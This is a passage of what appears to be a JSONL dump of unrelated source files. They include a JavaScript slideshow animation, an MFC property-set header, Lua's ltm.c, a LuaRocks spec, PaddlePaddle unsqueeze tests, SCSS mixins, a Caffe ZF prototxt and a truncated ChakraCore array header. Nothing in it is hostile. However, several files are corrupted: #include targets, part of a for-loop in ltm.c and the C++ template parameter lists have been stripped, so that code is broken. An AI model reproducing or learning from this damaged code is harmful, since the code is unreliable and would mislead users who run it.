SlideShow.getStageWidth();\n stageH = SlideShow.getStageHeight();\n\n x2 = (stageW - w)/2;\n y2 = (stageH - h)/2;\n x1+= 'px';\n y1+= 'px';\n x2+= 'px';\n y2+= 'px';\n\n animSetting.animType = 'flyOutToCenter2';\n styleText1 = 'top:'+y1+';left:'+x1+';z-index:100';\n styleText2 = 'top:'+y2+';left:'+x2+';z-index:100';\n\n var frames = [\n {p:'0%',\n opacity:1,\n scale:'1',\n transformOrigin:'50% 50%',\n styleText:styleText1\n },\n {p:'100%',\n opacity:0,\n scale:'1.5',\n transformOrigin:'50% 50%',\n styleText:styleText2\n }\n ];\n\n\n\n return {\n name:keyframeName,\n css: this.buildframes(keyframeName,frames)\n };\n };\n \n this.go(elems,playParam,animSetting,buildKeyframe);\n\n },\n /**\n * 卡片飞向舞台中心的效果。\n * @method flyOutToOutside\n * @param {array} elems HTML元素id的集合\n * @param {object} playParam 播放参数,时长、延时、重复等\n * @param {animSetting} animSetting 动画参数,多米诺效果、回调、声音等\n * @return {void} \n */\n flyOutToOutside : function(elems,playParam,animSetting){\n var animSetting = animSetting || {};\n animSetting.animType = 'flyOutToOutside';\n\n\n var buildKeyframe = function(elem,animSetting){\n var index = animSetting.index,\n keyframeName = this.buildUniqueKeyframeName(animSetting.animType),\n x1,y1,x2,y2,w,h,stage,stageW,stageH,styleText1,styleText2,\n xC,yC,r;\n\n x1 = $D.getPosX(elem);\n y1 = $D.getPosY(elem);\n w = $D.getWidth(elem);\n h = $D.getHeight(elem);\n\n stage = SlideShow.getStage();\n stageW = SlideShow.getStageWidth();\n stageH = SlideShow.getStageHeight();\n\n r = 4;\n\n xC = (stageW - w)/2;\n yC = (stageH - h)/2;\n x2 = ((r+1)*x1-xC)/r;\n y2 = ((r+1)*y1-yC)/r;\n x1+= 'px';\n y1+= 'px';\n x2+= 'px';\n y2+= 'px';\n\n styleText1 = 'top:'+y1+';left:'+x1+';z-index:100';\n styleText2 = 'top:'+y2+';left:'+x2+';z-index:100';\n\n var frames = [\n {p:'0%',\n opacity:1,\n scale:'1',\n transformOrigin:'50% 50%',\n styleText:styleText1\n },\n {p:'100%',\n opacity:0,\n scale:'1.5',\n transformOrigin:'50% 50%',\n styleText:styleText2\n }\n ];\n\n\n\n return {\n name:keyframeName,\n css: this.buildframes(keyframeName,frames)\n };\n };\n \n this.go(elems,playParam,animSetting,buildKeyframe);\n\n }\n});\n\n}); //end of package\n//----------------------------------------------------------------------------\n\n"} +{"text": "// This is a part of the Microsoft Foundation Classes C++ library.\n// Copyright (c) Microsoft Corporation. All rights reserved.\n//\n// This source code is only intended as a supplement to the\n// Microsoft Foundation Classes Reference and related\n// electronic documentation provided with the library.\n// See these sources for detailed information regarding the\n// Microsoft Foundation Classes product.\n\ntypedef struct tagSECTIONHEADER\n{\n\tDWORD cbSection ;\n\tDWORD cProperties ; // Number of props.\n} SECTIONHEADER, *LPSECTIONHEADER ;\n\ntypedef struct tagPROPERTYIDOFFSET\n{\n\tDWORD propertyID;\n\tDWORD dwOffset;\n} PROPERTYIDOFFSET, *LPPROPERTYIDOFFSET;\n\ntypedef struct tagPROPHEADER\n{\n\tWORD wByteOrder ; // Always 0xFFFE\n\tWORD wFormat ; // Always 0\n\tDWORD dwOSVer ; // System version\n\tCLSID clsID ; // Application CLSID\n\tDWORD cSections ; // Number of sections(must be at least 1)\n} PROPHEADER, *LPPROPHEADER ;\n\ntypedef struct tagFORMATIDOFFSET\n{\n\tGUID formatID;\n\tDWORD dwOffset;\n} FORMATIDOFFSET, *LPFORMATIDOFFSET;\n\n/////////////////////////////////////////////////////////////////////////////\n// CProperty\n\nclass CProperty : public CObject\n{\n\tfriend class CPropertySet ;\n\tfriend class CPropertySection ;\n\npublic:\n// Construction\n\tCProperty( void ) ;\n\tCProperty( DWORD dwID, const LPVOID pValue, DWORD dwType ) ;\n\n// Attributes\n\tBOOL Set( DWORD dwID, const LPVOID pValue, DWORD dwType ) ;\n\tBOOL Set( const LPVOID pValue, DWORD dwType ) ;\n\tBOOL Set( const LPVOID pValue ) ;\n\tLPVOID Get( DWORD* pcb ) ; // Returns pointer to actual value\n\tLPVOID Get( void ) ; // Returns pointer to actual value\n\tDWORD GetType( void ) ; // Returns property type\n\tvoid SetType( DWORD dwType ) ;\n\tDWORD GetID( void ) ;\n\tvoid SetID( DWORD dwPropID ) ;\n\n\tLPVOID GetRawValue( void ) ; // Returns pointer internal value(may\n\t// include size information)\n\n// Operations\n\tBOOL WriteToStream( IStream* pIStream ) ;\n\tBOOL ReadFromStream( IStream* pIStream ) ;\n\nprivate:\n\tDWORD m_dwPropID ;\n\tDWORD m_dwType ;\n\tLPVOID m_pValue ;\n\n\tLPVOID AllocValue(ULONG cb);\n\tvoid FreeValue();\n\npublic:\n\t~CProperty() ;\n} ;\n\n/////////////////////////////////////////////////////////////////////////////\n// CPropertySection\n\nclass CPropertySection : public CObject\n{\n\tfriend class CPropertySet ;\n\tfriend class CProperty ;\n\npublic:\n// Construction\n\tCPropertySection( void ) ;\n\tCPropertySection( CLSID FormatID ) ;\n\n// Attributes\n\tCLSID GetFormatID( void ) ;\n\tvoid SetFormatID( CLSID FormatID ) ;\n\n\tBOOL Set( DWORD dwPropID, LPVOID pValue, DWORD dwType ) ;\n\tBOOL Set( DWORD dwPropID, LPVOID pValue ) ;\n\tLPVOID Get( DWORD dwPropID, DWORD* pcb ) ;\n\tLPVOID Get( DWORD dwPropID ) ;\n\tvoid Remove( DWORD dwPropID ) ;\n\tvoid RemoveAll() ;\n\n\tCProperty* GetProperty( DWORD dwPropID ) ;\n\tvoid AddProperty( CProperty* pProp ) ;\n\n\tDWORD GetSize( void ) ;\n\tDWORD GetCount( void ) ;\n\tCObList* GetList( void ) ;\n\n\tBOOL GetID( LPCTSTR pszName, DWORD* pdwPropID ) ;\n\tBOOL SetName( DWORD dwPropID, LPCTSTR pszName ) ;\n\n\tBOOL SetSectionName( LPCTSTR pszName );\n\tLPCTSTR GetSectionName( void );\n\n// Operations\n\tBOOL WriteToStream( IStream* pIStream ) ;\n\tBOOL ReadFromStream( IStream* pIStream, LARGE_INTEGER liPropSet ) ;\n\tBOOL WriteNameDictToStream( IStream* pIStream ) ;\n\tBOOL ReadNameDictFromStream( IStream* pIStream ) ;\n\nprivate:\n// Implementation\n\tCLSID m_FormatID ;\n\tSECTIONHEADER m_SH ;\n\t// List of properties(CProperty)\n\tCObList m_PropList ;\n\t// Dictionary of property names\n\tCMapStringToPtr m_NameDict ;\n\tCString m_strSectionName;\n\npublic:\n\t~CPropertySection();\n} ;\n\n/////////////////////////////////////////////////////////////////////////////\n// CPropertySet\n\nclass CPropertySet : public CObject\n{\n\tfriend class CPropertySection ;\n\tfriend class CProperty ;\n\npublic:\n// Construction\n\tCPropertySet( void ) ;\n\tCPropertySet( CLSID clsID ) ;\n\n// Attributes\n\tBOOL Set( CLSID FormatID, DWORD dwPropID, LPVOID pValue, DWORD dwType ) ;\n\tBOOL Set( CLSID FormatID, DWORD dwPropID, LPVOID pValue ) ;\n\tLPVOID Get( CLSID FormatID, DWORD dwPropID, DWORD* pcb ) ;\n\tLPVOID Get( CLSID FormatID, DWORD dwPropID ) ;\n\tvoid Remove( CLSID FormatID, DWORD dwPropID ) ;\n\tvoid Remove( CLSID FormatID ) ;\n\tvoid RemoveAll( ) ;\n\n\tCProperty* GetProperty( CLSID FormatID, DWORD dwPropID ) ;\n\tvoid AddProperty( CLSID FormatID, CProperty* pProp ) ;\n\tCPropertySection* GetSection( CLSID FormatID ) ;\n\tCPropertySection* AddSection( CLSID FormatID ) ;\n\tvoid AddSection( CPropertySection* psect ) ;\n\n\tWORD GetByteOrder( void ) ;\n\tWORD GetFormatVersion( void ) ;\n\tvoid SetFormatVersion( WORD wFmtVersion ) ;\n\tDWORD GetOSVersion( void ) ;\n\tvoid SetOSVersion( DWORD dwOSVer ) ;\n\tCLSID GetClassID( void ) ;\n\tvoid SetClassID( CLSID clsid ) ;\n\tDWORD GetCount( void ) ;\n\tCObList* GetList( void ) ;\n\n// Operations\n\tBOOL WriteToStream( IStream* pIStream ) ;\n\tBOOL ReadFromStream( IStream* pIStream ) ;\n\n// Implementation\nprivate:\n\tPROPHEADER m_PH ;\n\tCObList m_SectionList ;\n\npublic:\n\t~CPropertySet();\n} ;\n"} +{"text": "/*\n** $Id: ltm.c,v 2.8 2006/01/10 12:50:00 roberto Exp $\n** Tag methods\n** See Copyright Notice in lua.h\n*/\n\n\n#include \n\n#define ltm_c\n#define LUA_CORE\n\n#include \"lua.h\"\n\n#include \"lobject.h\"\n#include \"lstate.h\"\n#include \"lstring.h\"\n#include \"ltable.h\"\n#include \"ltm.h\"\n\n\n\nconst char *const luaT_typenames[] = {\n \"nil\", \"boolean\", \"userdata\", \"number\",\n \"string\", \"table\", \"function\", \"userdata\", \"thread\",\n \"proto\", \"upval\"\n};\n\n\nvoid luaT_init (lua_State *L) {\n static const char *const luaT_eventname[] = { /* ORDER TM */\n \"__index\", \"__newindex\",\n \"__gc\", \"__mode\", \"__eq\",\n \"__add\", \"__sub\", \"__mul\", \"__div\", \"__mod\",\n \"__pow\", \"__unm\", \"__len\", \"__lt\", \"__le\",\n \"__concat\", \"__call\"\n };\n int i;\n for (i=0; itmname[i] = luaS_new(L, luaT_eventname[i]);\n luaS_fix(G(L)->tmname[i]); /* never collect these names */\n }\n}\n\n\n/*\n** function to be used with macro \"fasttm\": optimized for absence of\n** tag methods\n*/\nconst TValue *luaT_gettm (Table *events, TMS event, TString *ename) {\n const TValue *tm = luaH_getstr(events, ename);\n lua_assert(event <= TM_EQ);\n if (ttisnil(tm)) { /* no tag method? */\n events->flags |= cast_byte(1u<metatable;\n break;\n case LUA_TUSERDATA:\n mt = uvalue(o)->metatable;\n break;\n default:\n mt = G(L)->mt[ttype(o)];\n }\n return (mt ? luaH_getstr(mt, G(L)->tmname[event]) : luaO_nilobject);\n}\n"} +{"text": "package = \"Alien\"\n\nversion = \"0.3.2-1\"\n\ndescription = {\n summary = \"Lua->C FFI\",\n detailed = [[\n Alien lets a Lua application call load dynamic libraries and call C functions\n in a portable way, using libffi.\n ]],\n license = \"MIT/X11\",\n homepage = \"http://alien.luaforge.net\"\n}\n\ndependencies = { }\n\nsource = {\n url = \"http://alien.luaforge.net/alien-0.3.2.tar.gz\"\n}\n\nbuild = {\n type = \"make\",\n install_variables = {\n LUA_LIBDIR = \"$(LIBDIR)\",\n BIN_DIR = \"$(BINDIR)\",\n PREFIX = \"$(PREFIX)\"\n },\n platforms = {\n linux = {\n \tbuild_variables = {\n LIB_OPTION = \"-shared\",\n CFLAGS = \"$(CFLAGS) -I$(LUA_INCDIR) -DUSE_DLOPEN\",\n \t},\n },\n bsd = {\n \tbuild_variables = {\n LIB_OPTION = \"-shared\",\n CFLAGS = \"$(CFLAGS) -I$(LUA_INCDIR) -DUSE_DLOPEN\",\n \t},\n },\n macosx = {\n \tbuild_variables = {\n LIB_OPTION = \"-bundle -undefined dynamic_lookup\",\n CFLAGS = \"$(CFLAGS) -I$(LUA_INCDIR) -DARCH_OSX\",\n \t},\n },\n win32 = {\n \tbuild_variables = {\n LIB_OPTION = \"$(LUA_LIBDIR)\\\\lua5.1.lib\",\n CFLAGS = \"$(CFLAGS) /I$(LUA_INCDIR) /DUSE_LOADLIBRARY\",\n \t}\n }\n }\n}\n"} +{"text": "newSource1.scala:6: error: The constructor C was compiled with the miniboxing plugin and can only be called by code also compiled with the miniboxing plugin (see scala-miniboxing.org/compatibility) [mbox=0.4, scala=2.11]\n val c = new C[Int]\n ^\nnewSource1.scala:7: error: The constructor C was compiled with the miniboxing plugin and can only be called by code also compiled with the miniboxing plugin (see scala-miniboxing.org/compatibility) [mbox=0.4, scala=2.11]\n object O extends C[String]\n ^"} +{"text": "# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nimport unittest\nimport numpy as np\nimport paddle\nimport paddle.fluid as fluid\nfrom op_test import OpTest\n\n\n# Correct: General.\nclass TestUnsqueezeOp(OpTest):\n def setUp(self):\n self.init_test_case()\n self.op_type = \"unsqueeze\"\n self.inputs = {\"X\": np.random.random(self.ori_shape).astype(\"float64\")}\n self.init_attrs()\n self.outputs = {\"Out\": self.inputs[\"X\"].reshape(self.new_shape)}\n\n def test_check_output(self):\n self.check_output()\n\n def test_check_grad(self):\n self.check_grad([\"X\"], \"Out\")\n\n def init_test_case(self):\n self.ori_shape = (3, 40)\n self.axes = (1, 2)\n self.new_shape = (3, 1, 1, 40)\n\n def init_attrs(self):\n self.attrs = {\"axes\": self.axes}\n\n\n# Correct: Single input index.\nclass TestUnsqueezeOp1(TestUnsqueezeOp):\n def init_test_case(self):\n self.ori_shape = (20, 5)\n self.axes = (-1, )\n self.new_shape = (20, 5, 1)\n\n\n# Correct: Mixed input axis.\nclass TestUnsqueezeOp2(TestUnsqueezeOp):\n def init_test_case(self):\n self.ori_shape = (20, 5)\n self.axes = (0, -1)\n self.new_shape = (1, 20, 5, 1)\n\n\n# Correct: There is duplicated axis.\nclass TestUnsqueezeOp3(TestUnsqueezeOp):\n def init_test_case(self):\n self.ori_shape = (10, 2, 5)\n self.axes = (0, 3, 3)\n self.new_shape = (1, 10, 2, 1, 1, 5)\n\n\n# Correct: Reversed axes.\nclass TestUnsqueezeOp4(TestUnsqueezeOp):\n def init_test_case(self):\n self.ori_shape = (10, 2, 5)\n self.axes = (3, 1, 1)\n self.new_shape = (10, 1, 1, 2, 5, 1)\n\n\nclass API_TestUnsqueeze(unittest.TestCase):\n def test_out(self):\n with fluid.program_guard(fluid.Program(), fluid.Program()):\n data1 = fluid.layers.data('data1', shape=[-1, 10], dtype='float64')\n result_squeeze = paddle.unsqueeze(data1, axis=[1])\n place = fluid.CPUPlace()\n exe = fluid.Executor(place)\n input1 = np.random.random([5, 1, 10]).astype('float64')\n input = np.squeeze(input1, axis=1)\n result, = exe.run(feed={\"data1\": input},\n fetch_list=[result_squeeze])\n self.assertTrue(np.allclose(input1, result))\n\n\nclass TestUnsqueezeOpError(unittest.TestCase):\n def test_errors(self):\n with fluid.program_guard(fluid.Program(), fluid.Program()):\n # The type of axis in split_op should be int or Variable.\n def test_axes_type():\n x6 = fluid.layers.data(\n shape=[-1, 10], dtype='float16', name='x3')\n paddle.unsqueeze(x6, axis=3.2)\n\n self.assertRaises(TypeError, test_axes_type)\n\n\nclass API_TestUnsqueeze2(unittest.TestCase):\n def test_out(self):\n with fluid.program_guard(fluid.Program(), fluid.Program()):\n data1 = fluid.data('data1', shape=[-1, 10], dtype='float64')\n data2 = fluid.data('data2', shape=[1], dtype='int32')\n result_squeeze = paddle.unsqueeze(data1, axis=data2)\n place = fluid.CPUPlace()\n exe = fluid.Executor(place)\n input1 = np.random.random([5, 1, 10]).astype('float64')\n input2 = np.array([1]).astype('int32')\n input = np.squeeze(input1, axis=1)\n result1, = exe.run(feed={\"data1\": input,\n \"data2\": input2},\n fetch_list=[result_squeeze])\n self.assertTrue(np.allclose(input1, result1))\n\n\nclass API_TestUnsqueeze3(unittest.TestCase):\n def test_out(self):\n with fluid.program_guard(fluid.Program(), fluid.Program()):\n data1 = fluid.data('data1', shape=[-1, 10], dtype='float64')\n data2 = fluid.data('data2', shape=[1], dtype='int32')\n result_squeeze = paddle.unsqueeze(data1, axis=[data2, 3])\n place = fluid.CPUPlace()\n exe = fluid.Executor(place)\n input1 = np.random.random([5, 1, 10, 1]).astype('float64')\n input2 = np.array([1]).astype('int32')\n input = np.squeeze(input1)\n result1, = exe.run(feed={\"data1\": input,\n \"data2\": input2},\n fetch_list=[result_squeeze])\n self.assertTrue(np.array_equal(input1, result1))\n self.assertEqual(input1.shape, result1.shape)\n\n\nclass API_TestDyUnsqueeze(unittest.TestCase):\n def test_out(self):\n with fluid.dygraph.guard():\n input_1 = np.random.random([5, 1, 10]).astype(\"int32\")\n input1 = np.expand_dims(input_1, axis=1)\n input = fluid.dygraph.to_variable(input_1)\n output = paddle.unsqueeze(input, axis=[1])\n out_np = output.numpy()\n self.assertTrue(np.array_equal(input1, out_np))\n self.assertEqual(input1.shape, out_np.shape)\n\n\nclass API_TestDyUnsqueeze2(unittest.TestCase):\n def test_out(self):\n with fluid.dygraph.guard():\n input1 = np.random.random([5, 10]).astype(\"int32\")\n out1 = np.expand_dims(input1, axis=1)\n input = fluid.dygraph.to_variable(input1)\n output = paddle.unsqueeze(input, axis=1)\n out_np = output.numpy()\n self.assertTrue(np.array_equal(out1, out_np))\n self.assertEqual(out1.shape, out_np.shape)\n\n\nclass API_TestDyUnsqueezeAxisTensor(unittest.TestCase):\n def test_out(self):\n with fluid.dygraph.guard():\n input1 = np.random.random([5, 10]).astype(\"int32\")\n out1 = np.expand_dims(input1, axis=1)\n out1 = np.expand_dims(out1, axis=2)\n input = fluid.dygraph.to_variable(input1)\n output = paddle.unsqueeze(input, axis=paddle.to_tensor([1, 2]))\n out_np = output.numpy()\n self.assertTrue(np.array_equal(out1, out_np))\n self.assertEqual(out1.shape, out_np.shape)\n\n\nclass API_TestDyUnsqueezeAxisTensorList(unittest.TestCase):\n def test_out(self):\n with fluid.dygraph.guard():\n input1 = np.random.random([5, 10]).astype(\"int32\")\n # Actually, expand_dims supports tuple since version 1.18.0\n out1 = np.expand_dims(input1, axis=1)\n out1 = np.expand_dims(out1, axis=2)\n input = fluid.dygraph.to_variable(input1)\n output = paddle.unsqueeze(\n fluid.dygraph.to_variable(input1),\n axis=[paddle.to_tensor([1]), paddle.to_tensor([2])])\n out_np = output.numpy()\n self.assertTrue(np.array_equal(out1, out_np))\n self.assertEqual(out1.shape, out_np.shape)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n"} +{"text": "@mixin pb_box-shadow($top, $left, $blur, $offset, $color, $inset: false) {\n @if $inset {\n -webkit-box-shadow:inset $top $left $blur $offset $color;\n -moz-box-shadow:inset $top $left $blur $offset $color;\n box-shadow:inset $top $left $blur $offset $color;\n } @else {\n -webkit-box-shadow: $top $left $blur $offset $color;\n -moz-box-shadow: $top $left $blur $offset $color;\n box-shadow: $top $left $blur $offset $color;\n }\n}\n\n@mixin pb_gradient($from, $to, $deg) {\n background: $from; /* Old browsers */\n\tbackground: -moz-linear-gradient($deg, $from 0%, $to 100%); /* FF3.6-15 */\n\tbackground: -webkit-linear-gradient($deg, $from 0%,$to 100%); /* Chrome10-25,Safari5.1-6 */\n\tbackground: linear-gradient($deg, $from 0%,$to 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */\n\tfilter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#{$from}', endColorstr='#{$to}',GradientType=1 ); /* IE6-9 fallback on horizontal gradient */\n}\n@mixin pb_text-gradient($from, $to, $deg) {\n\tbackground: $from; /* Old browsers */\n\tbackground: -moz-linear-gradient($deg, $from 0%, $to 100%); /* FF3.6-15 */\n\tbackground: -webkit-linear-gradient($deg, $from 0%,$to 100%); /* Chrome10-25,Safari5.1-6 */\n\tbackground: linear-gradient($deg, $from 0%,$to 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */\n\t-webkit-background-clip: text;\n -webkit-text-fill-color: transparent;\n}\n"} +{"text": "name: \"ZF\"\nlayer {\n name: 'input-data'\n type: 'Python'\n top: 'data'\n top: 'im_info'\n top: 'gt_boxes'\n python_param {\n module: 'roi_data_layer.layer'\n layer: 'RoIDataLayer'\n param_str: \"'num_classes': 21\"\n }\n}\n\n#========= conv1-conv5 ============\n\nlayer {\n\tname: \"conv1\"\n\ttype: \"Convolution\"\n\tbottom: \"data\"\n\ttop: \"conv1\"\n\tparam { lr_mult: 1.0 }\n\tparam { lr_mult: 2.0 }\n\tconvolution_param {\n\t\tnum_output: 96\n\t\tkernel_size: 7\n\t\tpad: 3\n\t\tstride: 2\n\t}\n}\nlayer {\n\tname: \"relu1\"\n\ttype: \"ReLU\"\n\tbottom: \"conv1\"\n\ttop: \"conv1\"\n}\nlayer {\n\tname: \"norm1\"\n\ttype: \"LRN\"\n\tbottom: \"conv1\"\n\ttop: \"norm1\"\n\tlrn_param {\n\t\tlocal_size: 3\n\t\talpha: 0.00005\n\t\tbeta: 0.75\n\t\tnorm_region: WITHIN_CHANNEL\n engine: CAFFE\n\t}\n}\nlayer {\n\tname: \"pool1\"\n\ttype: \"Pooling\"\n\tbottom: \"norm1\"\n\ttop: \"pool1\"\n\tpooling_param {\n\t\tkernel_size: 3\n\t\tstride: 2\n\t\tpad: 1\n\t\tpool: MAX\n\t}\n}\nlayer {\n\tname: \"conv2\"\n\ttype: \"Convolution\"\n\tbottom: \"pool1\"\n\ttop: \"conv2\"\n\tparam { lr_mult: 1.0 }\n\tparam { lr_mult: 2.0 }\n\tconvolution_param {\n\t\tnum_output: 256\n\t\tkernel_size: 5\n\t\tpad: 2\n\t\tstride: 2\n\t}\n}\nlayer {\n\tname: \"relu2\"\n\ttype: \"ReLU\"\n\tbottom: \"conv2\"\n\ttop: \"conv2\"\n}\nlayer {\n\tname: \"norm2\"\n\ttype: \"LRN\"\n\tbottom: \"conv2\"\n\ttop: \"norm2\"\n\tlrn_param {\n\t\tlocal_size: 3\n\t\talpha: 0.00005\n\t\tbeta: 0.75\n\t\tnorm_region: WITHIN_CHANNEL\n engine: CAFFE\n\t}\n}\nlayer {\n\tname: \"pool2\"\n\ttype: \"Pooling\"\n\tbottom: \"norm2\"\n\ttop: \"pool2\"\n\tpooling_param {\n\t\tkernel_size: 3\n\t\tstride: 2\n\t\tpad: 1\n\t\tpool: MAX\n\t}\n}\nlayer {\n\tname: \"conv3\"\n\ttype: \"Convolution\"\n\tbottom: \"pool2\"\n\ttop: \"conv3\"\n\tparam { lr_mult: 1.0 }\n\tparam { lr_mult: 2.0 }\n\tconvolution_param {\n\t\tnum_output: 384\n\t\tkernel_size: 3\n\t\tpad: 1\n\t\tstride: 1\n\t}\n}\nlayer {\n\tname: \"relu3\"\n\ttype: \"ReLU\"\n\tbottom: \"conv3\"\n\ttop: \"conv3\"\n}\nlayer {\n\tname: \"conv4\"\n\ttype: \"Convolution\"\n\tbottom: \"conv3\"\n\ttop: \"conv4\"\n\tparam { lr_mult: 1.0 }\n\tparam { lr_mult: 2.0 }\n\tconvolution_param {\n\t\tnum_output: 384\n\t\tkernel_size: 3\n\t\tpad: 1\n\t\tstride: 1\n\t}\n}\nlayer {\n\tname: \"relu4\"\n\ttype: \"ReLU\"\n\tbottom: \"conv4\"\n\ttop: \"conv4\"\n}\nlayer {\n\tname: \"conv5\"\n\ttype: \"Convolution\"\n\tbottom: \"conv4\"\n\ttop: \"conv5\"\n\tparam { lr_mult: 1.0 }\n\tparam { lr_mult: 2.0 }\n\tconvolution_param {\n\t\tnum_output: 256\n\t\tkernel_size: 3\n\t\tpad: 1\n\t\tstride: 1\n\t}\n}\nlayer {\n\tname: \"relu5\"\n\ttype: \"ReLU\"\n\tbottom: \"conv5\"\n\ttop: \"conv5\"\n}\n\n#========= RPN ============\n\nlayer {\n name: \"rpn_conv1\"\n type: \"Convolution\"\n bottom: \"conv5\"\n top: \"rpn_conv1\"\n param { lr_mult: 1.0 }\n param { lr_mult: 2.0 }\n convolution_param {\n num_output: 256\n kernel_size: 3 pad: 1 stride: 1\n weight_filler { type: \"gaussian\" std: 0.01 }\n bias_filler { type: \"constant\" value: 0 }\n }\n}\nlayer {\n name: \"rpn_relu1\"\n type: \"ReLU\"\n bottom: \"rpn_conv1\"\n top: \"rpn_conv1\"\n}\nlayer {\n name: \"rpn_cls_score\"\n type: \"Convolution\"\n bottom: \"rpn_conv1\"\n top: \"rpn_cls_score\"\n param { lr_mult: 1.0 }\n param { lr_mult: 2.0 }\n convolution_param {\n num_output: 18 # 2(bg/fg) * 9(anchors)\n kernel_size: 1 pad: 0 stride: 1\n weight_filler { type: \"gaussian\" std: 0.01 }\n bias_filler { type: \"constant\" value: 0 }\n }\n}\nlayer {\n name: \"rpn_bbox_pred\"\n type: \"Convolution\"\n bottom: \"rpn_conv1\"\n top: \"rpn_bbox_pred\"\n param { lr_mult: 1.0 }\n param { lr_mult: 2.0 }\n convolution_param {\n num_output: 36 # 4 * 9(anchors)\n kernel_size: 1 pad: 0 stride: 1\n weight_filler { type: \"gaussian\" std: 0.01 }\n bias_filler { type: \"constant\" value: 0 }\n }\n}\nlayer {\n bottom: \"rpn_cls_score\"\n top: \"rpn_cls_score_reshape\"\n name: \"rpn_cls_score_reshape\"\n type: \"Reshape\"\n reshape_param { shape { dim: 0 dim: 2 dim: -1 dim: 0 } }\n}\nlayer {\n name: 'rpn-data'\n type: 'Python'\n bottom: 'rpn_cls_score'\n bottom: 'gt_boxes'\n bottom: 'im_info'\n bottom: 'data'\n top: 'rpn_labels'\n top: 'rpn_bbox_targets'\n top: 'rpn_bbox_inside_weights'\n top: 'rpn_bbox_outside_weights'\n python_param {\n module: 'rpn.anchor_target_layer'\n layer: 'AnchorTargetLayer'\n param_str: \"'feat_stride': 16\"\n }\n}\nlayer {\n name: \"rpn_loss_cls\"\n type: \"SoftmaxWithLoss\"\n bottom: \"rpn_cls_score_reshape\"\n bottom: \"rpn_labels\"\n propagate_down: 1\n propagate_down: 0\n top: \"rpn_cls_loss\"\n loss_weight: 1\n loss_param {\n ignore_label: -1\n normalize: true\n }\n}\nlayer {\n name: \"rpn_loss_bbox\"\n type: \"SmoothL1Loss\"\n bottom: \"rpn_bbox_pred\"\n bottom: \"rpn_bbox_targets\"\n bottom: \"rpn_bbox_inside_weights\"\n bottom: \"rpn_bbox_outside_weights\"\n top: \"rpn_loss_bbox\"\n loss_weight: 1\n smooth_l1_loss_param { sigma: 3.0 }\n}\n\n#========= RCNN ============\n# Dummy layers so that initial parameters are saved into the output net\n\nlayer {\n name: \"dummy_roi_pool_conv5\"\n type: \"DummyData\"\n top: \"dummy_roi_pool_conv5\"\n dummy_data_param {\n shape { dim: 1 dim: 9216 }\n data_filler { type: \"gaussian\" std: 0.01 }\n }\n}\nlayer {\n name: \"fc6\"\n type: \"InnerProduct\"\n bottom: \"dummy_roi_pool_conv5\"\n top: \"fc6\"\n param { lr_mult: 0 decay_mult: 0 }\n param { lr_mult: 0 decay_mult: 0 }\n inner_product_param {\n num_output: 4096\n }\n}\nlayer {\n name: \"relu6\"\n type: \"ReLU\"\n bottom: \"fc6\"\n top: \"fc6\"\n}\nlayer {\n name: \"fc7\"\n type: \"InnerProduct\"\n bottom: \"fc6\"\n top: \"fc7\"\n param { lr_mult: 0 decay_mult: 0 }\n param { lr_mult: 0 decay_mult: 0 }\n inner_product_param {\n num_output: 4096\n }\n}\nlayer {\n name: \"silence_fc7\"\n type: \"Silence\"\n bottom: \"fc7\"\n}\n"} +{"text": "fileFormatVersion: 2\nguid: 921cc3716d59a904faeee8dec757dea6\nMonoImporter:\n serializedVersion: 2\n defaultReferences: []\n executionOrder: 0\n icon: {instanceID: 0}\n"} +{"text": "//-------------------------------------------------------------------------------------------------------\n// Copyright (C) Microsoft. All rights reserved.\n// Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n//-------------------------------------------------------------------------------------------------------\n\n#pragma once\n\n#define Assert_FailFast(x) if (!(x)) { Assert(x); Js::Throw::FatalInternalError(); }\n\nnamespace Js\n{\n //\n // Walks all the nodes in this BTree in sorted order.\n //\n\n template\n void SegmentBTree::Walk(Func& func) const\n {\n if (!IsLeaf())\n {\n children[0].Walk(func);\n }\n\n for (unsigned int i = 0; i < segmentCount; i++)\n {\n Assert(keys[i] == segments[i]->left);\n\n func(segments[i]);\n\n if (!IsLeaf())\n {\n children[i + 1].Walk(func);\n }\n }\n }\n\n template \n SparseArraySegmentBase *\n JavascriptArray::ForEachSegment(Fn fn) const\n {\n return ForEachSegment(this->head, fn);\n }\n\n template \n SparseArraySegmentBase *\n JavascriptArray::ForEachSegment(SparseArraySegmentBase * segment, Fn fn)\n {\n DebugOnly(uint32 lastindex = segment? segment->left : 0);\n SparseArraySegmentBase * current = segment;\n while (current)\n {\n // Verify that all the segment are sorted\n Assert(current->left >= lastindex);\n if (fn(current))\n {\n break;\n }\n DebugOnly(lastindex = current->left + current->length);\n current = current->next;\n }\n return current;\n }\n\n //\n // Link prev and current. If prev is NULL, make current the head segment.\n //\n template<>\n inline void JavascriptArray::LinkSegments(SparseArraySegment* prev, SparseArraySegment* current)\n {\n if (prev && prev->next == nullptr && SparseArraySegmentBase::IsLeafSegment(prev, this->GetScriptContext()->GetRecycler()))\n {\n prev = this->ReallocNonLeafSegment(prev, current);\n }\n else\n {\n LinkSegmentsCommon(prev, current);\n }\n }\n\n template<>\n inline void JavascriptArray::LinkSegments(SparseArraySegment* prev, SparseArraySegment* current)\n {\n if (prev && prev->next == nullptr && SparseArraySegmentBase::IsLeafSegment(prev, this->GetScriptContext()->GetRecycler()))\n {\n prev = this->ReallocNonLeafSegment(prev, current);\n }\n else\n {\n LinkSegmentsCommon(prev, current);\n }\n }\n\n template\n inline void JavascriptArray::LinkSegments(SparseArraySegment* prev, SparseArraySegment* current)\n {\n LinkSegmentsCommon(prev, current);\n }\n\n template\n inline SparseArraySegment* JavascriptArray::ReallocNonLeafSegment(SparseArraySegment *seg, SparseArraySegmentBase* nextSeg, bool forceNonLeaf)\n {\n // Find the segment prior to seg.\n SparseArraySegmentBase *prior = nullptr;\n if 